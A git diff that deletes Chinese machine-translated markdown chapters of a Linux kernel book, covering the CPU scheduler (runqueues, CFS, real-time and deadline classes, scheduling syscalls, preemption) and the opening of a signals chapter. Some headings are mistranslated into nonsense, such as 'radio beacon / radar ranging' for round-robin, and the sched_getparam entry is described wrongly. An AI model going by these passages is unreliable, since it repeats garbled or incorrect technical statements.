yield_task_dl, - - .check_preempt_curr = check_preempt_curr_dl, - - .pick_next_task = pick_next_task_dl, - .put_prev_task = put_prev_task_dl, -.... -} -``` - -# RunTail - -通常,运行队列包含在给定 CPU 核心上争用 CPU 时间的所有进程(运行队列是按 CPU 的)。 通用调度程序被设计为每当调用它来调度下一个最佳可运行任务时都会查看运行队列。 维护所有可运行进程的公共运行队列是不可能的,因为每个调度类处理特定的调度策略和优先级。 - -内核通过突出其设计原则来解决这一问题。 每个调度类将其运行队列数据结构的布局定义为最适合其策略。 通用调度器层实现了一个抽象的运行队列结构,其中包含充当运行队列接口的公共元素。 此结构通过引用特定于类的运行队列的指针进行了扩展。 换句话说,所有调度类都将其运行队列嵌入到主运行队列结构中。 这是一个经典的设计技巧,它允许每个调度器类为其运行队列数据结构选择适当的布局。 - -下面的`struct rq`(RunQueue)代码片段将帮助我们理解这个概念(结构中省略了与 SMP 相关的元素,以便我们将重点放在相关的内容上): - -```sh - struct rq { - /* runqueue lock: */ - raw_spinlock_t lock; - /* - * nr_running and cpu_load should be in the same cacheline because - * remote CPUs use both these fields when doing load calculation. - */ - unsigned int nr_running; - #ifdef CONFIG_NUMA_BALANCING - unsigned int nr_numa_running; - unsigned int nr_preferred_running; - #endif - #define CPU_LOAD_IDX_MAX 5 - unsigned long cpu_load[CPU_LOAD_IDX_MAX]; - #ifdef CONFIG_NO_HZ_COMMON - #ifdef CONFIG_SMP - unsigned long last_load_update_tick; - #endif /* CONFIG_SMP */ - unsigned long nohz_flags; - #endif /* CONFIG_NO_HZ_COMMON */ - #ifdef CONFIG_NO_HZ_FULL - unsigned long last_sched_tick; - #endif - /* capture load from *all* tasks on this cpu: */ - struct load_weight load; - unsigned long nr_load_updates; - u64 nr_switches; - - struct cfs_rq cfs; - struct rt_rq rt; - struct dl_rq dl; - - #ifdef CONFIG_FAIR_GROUP_SCHED - /* list of leaf cfs_rq on this cpu: */ - struct list_head leaf_cfs_rq_list; - struct list_head *tmp_alone_branch; - #endif /* CONFIG_FAIR_GROUP_SCHED */ - - unsigned long nr_uninterruptible; - - struct task_struct *curr, *idle, *stop; - unsigned long next_balance; - struct mm_struct *prev_mm; - - unsigned int clock_skip_update; - u64 clock; - u64 clock_task; - - atomic_t nr_iowait; - - #ifdef CONFIG_IRQ_TIME_ACCOUNTING - u64 prev_irq_time; - #endif - #ifdef CONFIG_PARAVIRT - u64 prev_steal_time; - #endif - #ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING - u64 prev_steal_time_rq; - #endif - - /* calc_load related fields */ - unsigned long calc_load_update; - long calc_load_active; - - #ifdef CONFIG_SCHED_HRTICK - #ifdef CONFIG_SMP - int hrtick_csd_pending; - struct call_single_data hrtick_csd; - #endif - struct hrtimer hrtick_timer; - #endif - ... - #ifdef CONFIG_CPU_IDLE - /* Must be inspected within a rcu lock section */ - struct cpuidle_state *idle_state; - #endif -}; -``` - -您可以看到调度类(`cfs`、`rt`和`dl`)如何将自身嵌入到运行队列中。 运行队列中感兴趣的其他元素包括: - -* `nr_running`:这表示运行队列中的进程数 -* `load`:这表示队列(所有可运行进程)上的当前负载 -* `curr`和`idle`:它们分别指向当前运行任务和空闲任务的*task_struct*。 当没有其他任务可运行时,将调度空闲任务。 - -# 调度程序的入口点 - -调度过程从调用``中定义的通用调度器(即`schedule()`函数)开始。 这可能是内核中调用最多的例程之一。 `schedule()`的功能是挑选下一个最佳的可运行任务。 函数`schedule()`的`pick_next_task()`迭代包含在调度程序类中的所有相应函数,最终选择下一个最佳任务来运行。 每个调度器类都使用单个链表进行链接,这使得`pick_next_task()`能够遍历这些类。 - -考虑到 Linux 主要是为迎合高度交互的系统而设计的,如果在任何其他类中没有更高优先级的可运行任务(这是通过检查运行队列中的可运行任务总数(`nr_running`)是否等于 CFS 类的子运行队列中的可运行任务总数来实现的),该函数首先在 CFS 类中查找下一个最好的可运行任务;否则,它迭代所有其他类并选择下一个最好的可运行任务。 最后,如果没有找到任务,它会调用空闲的后台任务(总是返回非空值)。 - -以下代码块显示了`pick_next_task()`的实现: - -```sh -/* - * Pick up the highest-prio task: - */ -static inline struct task_struct * -pick_next_task(struct rq *rq, struct task_struct *prev, struct rq_flags *rf) -{ - const struct sched_class *class; - struct task_struct *p; - - /* - * Optimization: we know that if all tasks are in the fair class we can - * call that function directly, but only if the @prev task wasn't of a - * higher scheduling class, because otherwise those loose the - * opportunity to pull in more work from other CPUs. - */ - if (likely((prev->sched_class == &idle_sched_class || - prev->sched_class == &fair_sched_class) && - rq->nr_running == rq->cfs.h_nr_running)) { - - p = fair_sched_class.pick_next_task(rq, prev, rf); - if (unlikely(p == RETRY_TASK)) - goto again; - - /* Assumes fair_sched_class->next == idle_sched_class */ - if (unlikely(!p)) - p = idle_sched_class.pick_next_task(rq, prev, rf); - - return p; - } - -again: - for_each_class(class) { - p = class->pick_next_task(rq, prev, rf); - if (p) { - if (unlikely(p == RETRY_TASK)) - goto again; - return p; - } - } - - /* The idle class should always have a runnable task: */ - BUG(); -} -``` - -# 流程优先级 - -运行哪个进程的决定取决于进程的优先级。 每个进程都标有优先级值,使其在何时获得 CPU 时间方面处于直接位置。 在*nix 系统上,优先级基本上分为*动态*和*静态*优先级。 **动态优先级**基本上由内核动态地应用于正常进程,并考虑各种因素,例如进程的良好值、其历史行为(I/O 限制或处理器限制)、已执行时间和等待时间。 **静态优先级**由用户应用于实时进程,内核不会动态更改它们的优先级。 因此,在调度时,具有静态优先级的进程被赋予更高的优先级。 - -**I/O bound process:** When the execution of a process is heavily punctuated with I/O operations (waiting for a resource or an event), for instance a text editor, which almost alternates between running and waiting for a key press, such processes are called I/O bound. Due to this nature, the scheduler normally allocates short processor time slices to I/O-bound processes and multiplexes them with other processes, adding the overhead of context switching and the subsequent heuristics of computing the next best process to run. -**Processor bound process:** These are processes that love to stick on to CPU time slices, as they require maximum utilization of the processor's computing capacity. Processes requiring heavy computations such as complex scientific calculations, and video rendering codecs are processor bound. Though the need for a longer CPU slice looks desirable, the expectation to run them under fixed time periods is not often a requirement. Schedulers on interactive operating systems tend to favor more I/O-bound processes than processor-bound ones. Linux, which aims for good interactive performance, is more optimized for faster response time, inclining towards I/O bound processes, even though processor-bound processes are run less frequently they are ideally given longer timeslices to run. -Processes can also be **multi-faceted**, with an I/O-bound process needing to perform serious scientific computations, burning the CPU. - -任何正常进程的*NICE*值的范围在 19(最低优先级)和-20(最高优先级)之间,默认值为 0。 较高的 NICE 值表示较低的优先级(该进程对其他进程较好)。 实时进程的优先级在 0 到 99 之间(静态优先级)。 所有这些优先级范围都是从用户的角度出发的。 - -**内核的优先级观点** - -然而,Linux 从自己的角度看待进程优先级。 它为获得进程的优先级增加了更多的计算。 基本上,它将所有优先级调整在 0 到 139 之间,其中 0 到 99 分配给实时进程,100 到 139 表示较好的值范围(-20 到 19)。 - -# 调度程序类 - -现在,让我们更深入地了解每个调度类,并了解它在熟练而优雅地管理其流程的调度操作时使用的操作、策略和启发式方法。 如前所述,每个调度类必须提供`struct sched_class`的一个实例;让我们看看该结构中的一些关键元素: - -* `enqueue_task`:基本上将一个新进程添加到运行队列 -* `dequeue_task`:当进程从运行队列中移除时 -* `yield_task`:当进程想要自愿放弃 CPU 时 -* `pick_next_task`:s*chedule()*调用的*PICK_NEXT_TASK*的对应函数。 它从类中挑选下一个最好的可运行任务。 - -# 完全公平调度类(CFS) - -所有具有动态优先级的进程都由 CFS 类处理,由于通用*NIX 系统中的大多数进程都是正常的(非实时的),因此 CFS 仍然是内核中最繁忙的调度器类。 - -CFS 根据每个任务分配的策略和动态优先级,在为任务分配处理器时间时依赖于保持*平衡*。 CFS 下的进程调度是在拥有“理想的、精确的多任务 CPU”的前提下实现的,该 CPU 能够在峰值容量下平等地为所有进程提供动力。 例如,如果有两个进程,完美的多任务 CPU 可确保两个进程同时运行,每个进程利用其 50%的功率。 由于这实际上是不可能的(实现并行性),CFS 通过在所有争用的进程之间保持适当的平衡来将处理器时间分配给一个进程。 如果一个进程没有收到相当长的时间,那么它就会被认为是不平衡的,因此接下来会被认为是最佳可运行的进程。 - -CFS 不依赖于传统的时间片来分配处理器时间,而是使用虚拟运行时(*vruntime*)的概念:它表示进程获得 CPU 时间的时间量,这意味着较低的`vruntime`值表示该进程没有处理器,而较高的`vruntime`值表示该进程获得了相当多的处理器时间。 `vruntime`值较低的进程在调度时获得最大优先级。 CFS 还为理想地等待 I/O 请求的进程提供*休眠公平性*。 休眠公平性要求等待进程在事件后最终醒来时获得相当大的 CPU 时间。 根据`vruntime`值,CFS 决定进程要运行的时间量。 它还使用 NICE 值来衡量一个进程相对于所有竞争进程的权重:值越高、优先级越低的进程权重越小,值越低、优先级越高的任务权重越大。 在 Linux 中,即使处理具有不同优先级的进程也很优雅,因为与高优先级任务相比,低优先级任务会得到相当大的延迟因素;这使得分配给低优先级任务的时间很快消散。 - -# CFS 下的优先级和时间片计算 - -根据进程等待的时间、进程运行的时间、进程的历史行为及其良好值来分配优先级。 通常,调度器使用复杂的算法来运行下一个最佳进程。 - -在计算每个进程获得的时间片时,CFS 不仅依赖于进程的 NICE 值,还会查看进程的负载量。 进程的 NICE 值每增加 1,CPU 时间片就会减少 10%,NICE 值每减少 1,CPU 时间片就会增加 10%,这表明 NICE 值会乘以每次跳跃 10%的变化。 为了计算相应 NICE 值的负载权重,内核维护一个名为`prio_to_weight`*,*的数组,其中每个 NICE 值对应一个权重: - -```sh -static const int prio_to_weight[40] = { - /* -20 */ 88761, 71755, 56483, 46273, 36291, - /* -15 */ 29154, 23254, 18705, 14949, 11916, - /* -10 */ 9548, 7620, 6100, 4904, 3906, - /* -5 */ 3121, 2501, 1991, 1586, 1277, - /* 0 */ 1024, 820, 655, 526, 423, - /* 5 */ 335, 272, 215, 172, 137, - /* 10 */ 110, 87, 70, 56, 45, - /* 15 */ 36, 29, 23, 18, 15, -}; -``` - -进程的负载值存储在`struct load_weight`*的`weight`字段中。* - -与进程的权重一样,CFS 的运行队列也被分配了一个权重,即运行队列中所有任务的总权重。 现在,通过分解实体的负载权重、运行队列的负载权重和`sched_period`(调度周期)来计算时间片。 - -# CFS 的运行队列 - -CFS 不再需要正常的运行队列,而是使用自平衡的红黑树,以便在尽可能短的时间内获得下一个最佳进程来运行。 *RB 树*保存所有竞争进程,便于轻松快速地插入、删除和搜索进程。 优先级最高的进程被放置到其最左边的节点。 现在,`pick_next_task()`函数只从`rb tree`中选择最左边的节点进行调度。 - -# 团体调度 - -为了确保调度时的公平性,CFS 被设计为保证每个可运行进程在定义的时间段(称为**调度周期**)内至少在处理器上运行一次。 在一个调度周期内,CFS 初步确保公平性,换句话说,确保将不公平性保持在最低限度,因为每个进程至少运行一次。 CFS 在所有执行线程之间将调度周期划分为时间片以避免进程饥饿;然而,想象一下这样一个场景:进程 A 派生 10 个执行线程,进程 B 派生 5 个执行线程:在这里,CFS 将时间片平均分配给所有线程,导致进程 A 及其派生的线程获得最大时间,而进程 B 则受到不公平的处理。 如果进程 A 继续产生更多的线程,那么对于进程 B 及其产生的线程来说,情况可能会变得非常严重,因为进程 B 将不得不与最小调度粒度或时间片(即 1 毫秒)作斗争。 此场景中的公平性要求进程 A 和 B 获得与生成的线程相等的时间片,以便在内部共享这些时间片。 例如,如果进程 A 和 B 各获得 50%的时间,则进程 A 应在其派生的 10 个线程之间分配其 50%的时间,每个线程在内部获得 5%的时间。 - -为了解决这个问题并保持公平性,CFS 引入了**组调度**,其中时间片被分配给线程组,而不是单独的线程。 继续相同的示例,在组调度下,进程 A 及其派生的线程属于一个组,而进程 B 及其派生的线程属于另一个组。 由于调度粒度是在组级别而不是在线程级别强加的,因此它为进程 A 和 B 提供了相等的处理器时间份额,而进程 A 和 B 在内部将时间片分配给其组成员。 在这里,在进程 A 下产生的线程会受到影响,因为它会因为产生更多的执行线程而受到惩罚。 为确保组调度,在配置内核时设置`CONFIG_FAIR_GROUP_SCHED`。 CFS 任务组由结构`sched_entity`*,*表示,每个组称为**调度实体**。 以下代码片段显示了计划实体结构的关键元素: - -```sh -struct sched_entity { - struct load_weight load; /* for load-balancing */ - struct rb_node run_node; - struct list_head group_node; - unsigned int on_rq; - - u64 exec_start; - u64 sum_exec_runtime; - u64 vruntime; - u64 prev_sum_exec_runtime; - - u64 nr_migrations; - - #ifdef CONFIG_SCHEDSTATS - struct sched_statistics statistics; -#endif - -#ifdef CONFIG_FAIR_GROUP_SCHED - int depth; - struct sched_entity *parent; - /* rq on which this entity is (to be) queued: */ - struct cfs_rq *cfs_rq; - /* rq "owned" by this entity/group: */ - struct cfs_rq *my_q; -#endif - -.... -}; -``` - -* `load`:表示每个实体对队列总负载的负载量 -* `vruntime`:表示进程运行的时间量 - -# 多核系统下的实体调度 - -在多核系统中,任务组可以在任何 CPU 核上运行,但要实现这一点,仅创建一个调度实体是不够的。 因此,组必须为系统上的每个 CPU 核心创建调度实体。 跨 CPU 的调度实体由`struct task_group`表示: - -```sh -/* task group related information */ -struct task_group { - struct cgroup_subsys_state css; - -#ifdef CONFIG_FAIR_GROUP_SCHED - /* schedulable entities of this group on each cpu */ - struct sched_entity **se; - /* runqueue "owned" by this group on each cpu */ - struct cfs_rq **cfs_rq; - unsigned long shares; - -#ifdef CONFIG_SMP - /* - * load_avg can be heavily contended at clock tick time, so put - * it in its own cacheline separated from the fields above which - * will also be accessed at each tick. - */ - atomic_long_t load_avg ____cacheline_aligned; -#endif -#endif - -#ifdef CONFIG_RT_GROUP_SCHED - struct sched_rt_entity **rt_se; - struct rt_rq **rt_rq; - - struct rt_bandwidth rt_bandwidth; -#endif - - struct rcu_head rcu; - struct list_head list; - - struct task_group *parent; - struct list_head siblings; - struct list_head children; - -#ifdef CONFIG_SCHED_AUTOGROUP - struct autogroup *autogroup; -#endif - - struct cfs_bandwidth cfs_bandwidth; -}; -``` - -现在,每个任务组都有一个针对每个 CPU 核心的调度实体,以及一个与其相关联的 CFS 运行队列。 当来自一个任务组的任务从一个 CPU 核心(X)迁移到另一个 CPU 核心(Y)时,该任务从 CPU x 的 CFS 运行队列中出列,并排队到 CPU y 的 CFS 运行队列中。 - -# 调度策略 - -调度策略应用于流程,并帮助确定调度决策。 如果您还记得,在[第 1 章](01.html#J2B80-7300e3ede2f245b0b80e1b18d02a323f),*理解进程、地址空间和线程*中,我们在 struct`task_struct`*的调度属性下描述了`int policy`字段。* `policy field`包含指示调度时将哪个策略应用于进程的值。 CFS 类使用以下两个策略处理所有正常进程: - -* `SCHED_NORMAL (0)`:此选项用于所有正常进程。 所有非实时进程都可以概括为正常进程。 由于 Linux 的目标是成为一个高响应性和交互性的系统,所以大多数调度活动和启发式方法都集中在公平地调度正常进程上。 根据 POSIX,正常进程称为`SCHED_OTHER`。 -* `SCHED_BATCH (3)`:通常在进程非交互的服务器中,使用 CPU 限制的批处理。 这些 CPU 密集型进程的优先级低于`SCHED_NORMAL`进程,并且它们不会抢占已调度的正常进程。 -* CFS 类还处理调度空闲进程,这由以下策略指定: -* `SCHED_IDLE (5)`:当没有要运行的进程时,调度*空闲*进程(低优先级后台进程)。 分配给*空闲*进程的优先级在所有进程中最低。 - -# 实时调度类 - -Linux 支持软实时任务,由实时调度类进行调度。 `rt`进程被分配静态优先级,内核动态地保持不变。 由于实时任务的目标是确定性的运行,并且希望控制它们被调度的时间和时间,因此它们总是优先于普通任务(`SCHED_NORMAL`)。 与使用`rb tree`作为其子运行队列的 CFS 不同,较简单的`rt`调度器对每个优先级值(1 到 99)使用一个简单的`linked list`。 Linux 在调度静态优先级进程时应用两个实时策略,`rr`和`fifo`*,*;它们由`struct task_struct`*的`policy`元素指示。* - -* `SCHED_FIFO`(1):这使用先进先出方法来调度软实时进程 -* `SCHED_RR`(2):这是用于调度软实时进程的轮询策略 - -# 先进先出 - -**FIFO**是一种调度机制,适用于优先级高于 0 的进程(0 分配给正常进程)。 FIFO 进程在没有任何时间片分配的情况下运行;换句话说,它们总是一直运行,直到它们因某个事件阻塞或显式地让给另一个进程。 当调度程序遇到优先级更高的可运行 FIFO、RR 或截止日期任务时,FIFO 进程也会被抢占。 当调度程序遇到多个具有相同优先级的 FIFO 任务时,它将以循环方式运行进程,从列表顶部的第一个进程开始。 在抢占时,该过程被添加回列表的尾部。 如果较高优先级的进程抢占了 FIFO 进程,它会在列表的最前面等待,当所有其他高优先级任务都被抢占时,它会再次被选中运行。 当新的 FIFO 进程变为可运行时,它将被添加到列表的尾部。 - -# 无线电航向信标 / 雷达测距 / 无线电接受器 - -循环策略类似于 FIFO,唯一的不同之处在于它被分配了一个时间片来运行。 这是对 FIFO 的一种增强(因为 FIFO 进程可能会一直运行,直到它产生或等待)。 与 FIFO 类似,位于列表头部的 RR 进程被选中执行(如果没有其他更高优先级的任务可用),并且在时间片完成时被抢占,并被添加回列表的尾部。 具有相同优先级的 RR 进程运行循环调度,直到被高优先级任务抢占。 当高优先级任务抢占 RR 任务时,它在列表的最前面等待,恢复时只在其剩余的时间片内运行。 - -# 实时分组调度 - -与 CFS 下的分组调度类似,实时进程也可以通过设置`CONFIG_RT_GROUP_SCHED`进行分组调度。 要使组调度成功,必须为每个组分配一部分 CPU 时间,并保证时间片足以运行每个实体下的任务,否则会失败。 因此,“运行时间”(CPU 在一段时间内运行的时间的一部分)是按组分配的。 分配给一个组的运行时间不会被另一个组使用。 未分配给实时组的 CPU 时间将由普通优先级任务使用,任何未被实时实体使用的时间也将由普通任务挑选。 FIFO 和 RR 组由`struct sched_rt_entity`*:*表示 - -```sh -struct sched_rt_entity { - struct list_head run_list; - unsigned long timeout; - unsigned long watchdog_stamp; - unsigned int time_slice; - unsigned short on_rq; - unsigned short on_list; - - struct sched_rt_entity *back; -#ifdef CONFIG_RT_GROUP_SCHED - struct sched_rt_entity *parent; - /* rq on which this entity is (to be) queued: */ - struct rt_rq *rt_rq; - /* rq "owned" by this entity/group: */ - struct rt_rq *my_q; -#endif -}; -``` - -# 截止日期调度类(零星任务模型截止日期调度) - -**Deadline**代表 Linux 上的新一代 RT 进程(从 3.14 内核开始添加)。 与 FIFO 和 RR 不同,进程可能占用 CPU 或受时间片限制,而基于 GEDF(全局最早截止日期优先)和 CBS(恒定带宽服务器)算法的截止日期进程预先确定其运行时要求。 一个零星的进程在内部运行多个任务,每个任务都有一个必须在其中完成执行的相对截止日期和一个计算时间,这定义了 CPU 完成进程执行所需的时间。 为了确保内核成功执行 Deadline 进程,内核根据 Deadline 参数运行准入测试,失败时返回错误`EBUSY`。 具有截止日期策略的进程优先于所有其他进程。 截止日期流程使用`SCHED_DEADLINE`(6)作为其策略元素。 - -# 与调度程序相关的系统调用 - -Linux 提供了一整套系统调用,这些系统调用管理各种调度程序参数、策略和优先级,并检索调用线程的大量与调度相关的信息。 它还使线程能够显式地产生 CPU: - -```sh -nice(int inc) -``` - -`nice()`接受*int*参数,并将其与调用线程的`nice`值相加。 如果成功,它将返回线程的新的 nice 值。 NICE 值在 19(最低优先级)到-20(最高优先级)范围内。 *Nice*值只能在此范围内递增: - -```sh -getpriority(int which, id_t who) -``` - -它返回由其参数指示的指定用户的线程、组、用户或线程集的`nice`值。 它返回任何进程持有的最高优先级: - -```sh -setpriority(int which, id_t who, int prio) -``` - -由参数指示的指定用户的线程、组、用户或线程集的调度优先级由`setpriority`*设置。* 如果成功,则返回零: - -```sh -sched_setscheduler(pid_t pid, int policy, const struct sched_param *param) -``` - -这将设置指定线程的调度策略和参数,由线程的`pid`指示。 如果`pid`为零,则设置调用线程的策略。 指定调度参数的`param`参数指向保存`int sched_priority`的结构`sched_param`。 `sched_priority`对于正常进程,必须为零,对于 FIFO 和 RR 策略(在策略参数中提到),优先级值必须介于 1 到 99 之间。 如果成功,则返回零: - -```sh -sched_getscheduler(pid_t pid) -``` - -它返回线程的调度策略(`pid`)。 如果`pid`为零,则检索调用线程的策略: - -```sh -sched_setparam(pid_t pid, const struct sched_param *param) -``` - -它设置与给定线程的调度策略相关联的调度参数(`pid`)。 如果`pid`为零,则设置调用进程的参数。 如果成功,则返回零: - -```sh -sched_getparam(pid_t pid, struct sched_param *param) -``` - -这将设置指定线程(`pid`)的调度参数。 如果`pid`为零,则检索调用线程的调度参数。 如果成功,则返回零: - -```sh -sched_setattr(pid_t pid, struct sched_attr *attr, unsigned int flags) -``` - -它设置指定线程(`pid`)的调度策略和相关属性。 如果`pid`为零,则设置调用进程的策略和属性。 这是特定于 Linux 的调用,是`sched_setscheduler()`和`sched_setparam()`调用提供的功能的超集。 如果成功,则返回零。 - -```sh -sched_getattr(pid_t pid, struct sched_attr *attr, unsigned int size, unsigned int flags) -``` - -它获取指定线程(`pid`)的调度策略和相关属性。 如果`pid`为零,则将检索调用线程的调度策略和相关属性。 这是特定于 Linux 的调用,是`sched_getscheduler()`和`sched_getparam()`调用提供的功能的超集。 如果成功,则返回零。 - -```sh -sched_get_priority_max(int policy) -sched_get_priority_min(int policy) -``` - -这将分别返回指定`policy`的最大和最小优先级。 `fifo`、`rr`、`deadline`、`normal`、`batch`、`idle`是支持的策略值。 - -```sh -sched_rr_get_interval(pid_t pid, struct timespec *tp) -``` - -它获取指定线程(`pid`)的时间段,并将其写入由`tp`*指定的`timespec struct`。* 如果`pid`为零,则将调用进程的时间段取入`tp`。 这仅适用于使用`*rr*`策略的进程。 如果成功,则返回零。 - -```sh -sched_yield(void) -``` - -调用此函数是为了显式放弃 CPU。 现在,该线程被添加回队列。 如果成功,则返回零。 - -# 处理器关联调用 - -提供了特定于 Linux 的处理器亲和性调用,帮助线程定义它们想要在哪些 CPU 上运行。 默认情况下,每个线程继承其父线程的处理器亲和性,但它可以定义其亲和性掩码来确定其处理器亲和性。 在多核系统上,CPU 亲和性调用通过帮助进程坚持使用一个内核来帮助提高性能(但是,Linux 会尝试在一个 CPU 上保留一个线程)。 亲和位掩码信息包含在`struct task_struct`*的`cpu_allowed`字段中。* 关联调用如下: - -```sh -sched_setaffinity(pid_t pid, size_t cpusetsize, const cpu_set_t *mask) -``` - -它将线程的 CPU 关联掩码(`pid`)设置为`mask`*提到的值。* 如果线程(`pid`)没有在指定的 CPU 队列中运行,则会将其迁移到指定的`cpu`。 如果成功,则返回零。 - -```sh -sched_getaffinity(pid_t pid, size_t cpusetsize, cpu_set_t *mask) -``` - -这会将线程(`pid`)的亲和性掩码提取到由*掩码指向的`cpusetsize`结构中。* 如果`pid`为零,则返回调用线程的掩码。 如果成功,则返回零。 - -# 进程抢占 - -理解抢占和上下文切换是全面理解调度以及它在保持低延迟和一致性方面对内核的影响的关键。 每个进程都必须被隐式或显式抢占,以便为另一个进程让路。 抢占可能导致上下文切换,这需要由函数`context_switch()`*执行的特定于体系结构的低级操作。* 处理器切换上下文需要完成两个主要任务:将旧进程的虚拟内存映射切换到新进程,以及将处理器状态从旧进程的虚拟内存映射切换到新进程的虚拟内存映射。 这两个任务由`switch_mm()`和`switch_to()`执行。 - -发生抢占的原因有以下任何一种: - -当高优先级进程变为可运行时。 为此,调度程序必须定期检查高优先级的可运行线程。 从中断和系统调用返回时,设置`TIF_NEED_RESCHEDULE`(内核提供的指示需要重新调度的标志),调用调度器。 由于存在保证以规则间隔发生的周期性定时器中断,因此保证了调度器的调用。 当进程进入阻塞调用或发生中断事件时,也会发生抢占。 - -Linux 内核历史上一直是不可抢占的,这意味着内核模式下的任务是不可抢占的,除非发生中断事件或它选择显式放弃 CPU。 从 2.6 内核开始,增加了抢占功能(需要在内核构建过程中启用)。 在启用内核抢占的情况下,内核模式下的任务由于列出的所有原因都是可抢占的,但是内核模式任务可以在执行关键操作时禁用内核抢占。 这可以通过向每个进程的`thread_info`结构*添加抢占计数器(`preempt_count`)来实现。* 任务可以通过内核宏`preempt_disable()`和`preempt_enable()`*、*禁用/启用抢占,这反过来会递增和递减`preempt_counter`*。* 这确保了只有当`preempt_counter`为零时(表示没有获取锁),内核才是可抢占的。 - -内核代码中的关键部分是通过禁用抢占来执行的,这是通过在内核锁定操作(自旋锁、互斥)中调用`preempt_disable`和`preempt_enable`调用来强制执行的。 - -Linux 内核使用“抢占 RT”构建,支持*完全可抢占内核*选项,当启用该选项时,包括关键部分在内的所有内核代码都是完全可抢占的。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -进程调度是内核不断发展的一个方面,随着 Linux 的发展并进一步扩展到许多计算领域,将要求对进程调度程序进行更精细的调整和更改。 然而,随着我们对这一章的理解建立起来,获得更深层次的洞察力或理解任何新的变化将是相当容易的。 我们现在可以更进一步,探索作业控制和信号管理的另一个重要方面。 我们将简要介绍信号的基础知识,然后进入内核的信号管理数据结构和例程。 \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/03.md b/docs/master-linux-kernel-dev/03.md deleted file mode 100644 index f50bd4b9..00000000 --- a/docs/master-linux-kernel-dev/03.md +++ /dev/null @@ -1,870 +0,0 @@ -# 三、信号管理 - -信号提供了一个基本的基础设施,在该基础设施中,任何进程都可以被异步通知系统事件。 它们还可以用作进程之间的通信机制。 了解内核如何提供和管理整个信号处理机制的平稳吞吐量,可以让我们对内核有更多的了解。 在本章中,我们将详细介绍我们对信号的理解,从进程如何引导它们到内核如何巧妙地管理例程以确保信号事件正常运行。 我们将非常详细地讨论以下主题: - -* 信号及其类型概述 -* 流程级信号管理调用 -* 过程描述符中的信号数据结构 -* 内核的信号生成和传递机制 - -# 信号 - -**信号**是传递给进程或进程组的短消息。 内核使用信号通知进程系统事件的发生;信号还用于进程之间的通信。 Linux 将信号分为两组,即通用 POSIX(经典 Unix 信号)和实时信号。 每组由 32 个不同的信号组成,由唯一 ID 标识: - -```sh -#define _NSIG 64 -#define _NSIG_BPW __BITS_PER_LONG -#define _NSIG_WORDS (_NSIG / _NSIG_BPW) - -#define SIGHUP 1 -#define SIGINT 2 -#define SIGQUIT 3 -#define SIGILL 4 -#define SIGTRAP 5 -#define SIGABRT 6 -#define SIGIOT 6 -#define SIGBUS 7 -#define SIGFPE 8 -#define SIGKILL 9 -#define SIGUSR1 10 -#define SIGSEGV 11 -#define SIGUSR2 12 -#define SIGPIPE 13 -#define SIGALRM 14 -#define SIGTERM 15 -#define SIGSTKFLT 16 -#define SIGCHLD 17 -#define SIGCONT 18 -#define SIGSTOP 19 -#define SIGTSTP 20 -#define SIGTTIN 21 -#define SIGTTOU 22 -#define SIGURG 23 -#define SIGXCPU 24 -#define SIGXFSZ 25 -#define SIGVTALRM 26 -#define SIGPROF 27 -#define SIGWINCH 28 -#define SIGIO 29 -#define SIGPOLL SIGIO -/* -#define SIGLOST 29 -*/ -#define SIGPWR 30 -#define SIGSYS 31 -#define SIGUNUSED 31 - -/* These should not be considered constants from userland. */ -#define SIGRTMIN 32 -#ifndef SIGRTMAX -#define SIGRTMAX _NSIG -#endif -``` - -通用类别中的信号绑定到特定的系统事件,并通过宏进行适当的命名。 实时类别中的进程不受特定事件的限制,应用可以自由参与进程通信;内核使用通用名称`SIGRTMIN`和`SIGRTMAX`来引用它们。 - -在生成信号时,内核将信号事件传递给目标进程,目标进程反过来可以根据配置的操作(称为**信号处置**)响应信号。 - -以下是进程可以设置为其信号处置的操作列表。 流程可以在某个时间点将任何一个动作设置为其信号处理,但它可以在这些动作之间进行任意次数的切换,而不受任何限制。 - -* **内核处理程序**:内核为每个信号实现一个默认处理程序。 进程可以通过其任务结构的信号处理程序表使用这些处理程序。 在接收到信号时,进程可以请求执行适当的信号处理程序。 这是默认配置。 - -* **流程定义的处理程序:**允许流程实现自己的信号处理程序,并将其设置为响应信号事件而执行。 这可以通过适当的系统调用接口实现,该接口允许进程将其处理程序例程与信号绑定。 在信号出现时,流程处理程序将被异步调用。 - -* **忽略:**进程也可以忽略信号的发生,但它需要通过调用适当的系统调用来声明其忽略意图。 - -内核定义的默认处理程序例程可以执行以下任何操作: - -* **忽略**:不发生任何事情。 -* **终止**:终止进程,即该组中的所有线程(类似于`exit_group`)。 组长(仅)向其父级报告`WIFSIGNALED`状态。 -* **核心转储**:编写一个核心转储文件,描述使用相同`mm`的所有线程,然后杀死所有这些线程 -* **停止**:停止该组中的所有线程,即`TASK_STOPPED`状态。 - -下表列出了默认处理程序执行的操作: - -```sh - +--------------------+------------------+ - * | POSIX signal | default action | - * +------------------+------------------+ - * | SIGHUP | terminate - * | SIGINT | terminate - * | SIGQUIT | coredump - * | SIGILL | coredump - * | SIGTRAP | coredump - * | SIGABRT/SIGIOT | coredump - * | SIGBUS | coredump - * | SIGFPE | coredump - * | SIGKILL | terminate - * | SIGUSR1 | terminate - * | SIGSEGV | coredump - * | SIGUSR2 | terminate - * | SIGPIPE | terminate - * | SIGALRM | terminate - * | SIGTERM | terminate - * | SIGCHLD | ignore - * | SIGCONT | ignore - * | SIGSTOP | stop - * | SIGTSTP | stop - * | SIGTTIN | stop - * | SIGTTOU | stop - * | SIGURG | ignore - * | SIGXCPU | coredump - * | SIGXFSZ | coredump - * | SIGVTALRM | terminate - * | SIGPROF | terminate - * | SIGPOLL/SIGIO | terminate - * | SIGSYS/SIGUNUSED | coredump - * | SIGSTKFLT | terminate - * | SIGWINCH | ignore - * | SIGPWR | terminate - * | SIGRTMIN-SIGRTMAX| terminate - * +------------------+------------------+ - * | non-POSIX signal | default action | - * +------------------+------------------+ - * | SIGEMT | coredump | - * +--------------------+------------------+ -``` - -# 信号管理 API - -应用提供了用于管理信号的各种 API;我们将看看其中几个重要的 API: - -1. `Sigaction()`:用户模式进程使用 POSIX API`sigaction()`检查或更改信号的处置。 此 API 提供了各种属性标志,可以进一步定义信号的行为: - -```sh - #include - int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact); - - The sigaction structure is defined as something like: - - struct sigaction { - void (*sa_handler)(int); - void (*sa_sigaction)(int, siginfo_t *, void *); - sigset_t sa_mask; - int sa_flags; - void 